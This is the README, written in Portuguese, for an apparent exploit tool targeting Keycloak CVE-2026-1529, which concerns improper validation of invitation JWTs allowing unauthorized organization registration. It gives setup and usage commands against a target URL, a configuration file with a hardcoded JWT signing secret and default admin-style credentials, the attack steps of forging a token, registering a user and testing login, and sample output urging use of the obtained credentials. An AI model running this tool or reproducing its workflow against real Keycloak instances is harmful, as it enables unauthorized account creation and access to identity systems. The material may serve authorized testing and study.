
Keycloak: Registro não autorizado de organização via validação inadequada do token de convite
CVE-2026-1529: Keycloak - Registro não autorizado de organização via validação inadequada de token de convite
⚠️ AVISO: Esta ferramenta é apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal.
Esta ferramenta demonstra uma vulnerabilidade crítica no Keycloak (CVE-2026-1529) que permite o registro não autorizado de organização através da validação inadequada de tokens de convite JWT. A exploração manipula tokens de convite para obter acesso não autorizado a instâncias do Keycloak.
Detalhes da Vulnerabilidade:
# Clonar o repositório
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Criar ambiente virtual
python3 -m venv venv
source venv/bin/activate # No Windows: venv\Scripts\activate
# Instalar dependências
pip install -r requirements.txt
# Criar estrutura de diretórios
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Baixar arquivos dos releases ou copiar manualmente
# Depois instalar dependências
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Script principal de exploração
├── requirements.txt # Dependências Python
├── README.md # Este arquivo
├── config/
│ └── default_config.json # Arquivo de configuração
├── utils/
│ ├── __init__.py # Inicializador do pacote
│ ├── http_utils.py # Utilitários de cliente HTTP
│ ├── jwt_utils.py # Manipulação de JWT
│ └── crypto_utils.py # Utilitários de criptografia
├── logs/ # Logs gerados automaticamente
└── output/
└── reports/ # Relatórios de exploração
python3 keycloak-exploit.py https://target-keycloak.com
# Com token de convite personalizado
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Com ID de organização personalizado
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Com arquivo de configuração personalizado
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Ativar registro de depuração
python3 keycloak-exploit.py -d https://target.com
# Mostrar ajuda
python3 keycloak-exploit.py -h
# Mostrar versão
python3 keycloak-exploit.py -v
| Argumento | Curto | Descrição |
|---|---|---|
target | - | URL do Keycloak alvo (obrigatório) |
--token | -t | Token de convite personalizado |
--org-id | -o | ID de organização personalizado |
--config | -c | Caminho para o arquivo de configuração |
--debug | -d | Ativar registro de depuração |
--version | -v | Mostrar informações de versão |
--help | -h | Mostrar mensagem de ajuda |
Edite config/default_config.json para personalizar os parâmetros de exploração:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
| Seção | Parâmetro | Descrição | Padrão |
|---|---|---|---|
exploit | default_username | Nome de usuário para registro | admin_user_2026 |
exploit | default_password | Senha para registro | KeycloakCVE2026! |
exploit | default_email | Email para registro | [email protected] |
exploit | timeout | Tempo limite de requisição HTTP (segundos) | 30 |
exploit | max_retries | Máximo de tentativas HTTP | 3 |
jwt | algorithm | Algoritmo de assinatura JWT | HS256 |
jwt | secret_key | Chave secreta JWT | Personalizado |
jwt | token_expiry | Expiração do token (segundos) | 3600 |
A exploração funciona nas seguintes etapas:
Verificação de Vulnerabilidade
Geração/Manipulação de Token
Registro de Usuário
Verificação de Login
Geração de Relatório
output/reports/┌─────────────────┐
│ Verificação │
│ do Alvo │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Gerar/Obter │
│ Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Manipular │
│ Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Registrar │
│ Usuário │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Testar Login │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Gerar Relatório│
└─────────────────┘
============================================================
RESULTADOS DA EXPLORAÇÃO CVE-2026-1529
============================================================
✓ O alvo é vulnerável ao CVE-2026-1529
🎯 EXPLORAÇÃO BEM-SUCEDIDA!
Nome de usuário: admin_user_2026
Senha: KeycloakCVE2026!
Email: [email protected]
Link de Login: https://target.com/realms/master/account
📄 Relatório salvo em: output/reports/exploit_report_20260211_050507.txt
🔐 Use as credenciais fornecidas para acessar a instância do Keycloak!
⚠️ Isso demonstra acesso não autorizado devido ao CVE-2026-1529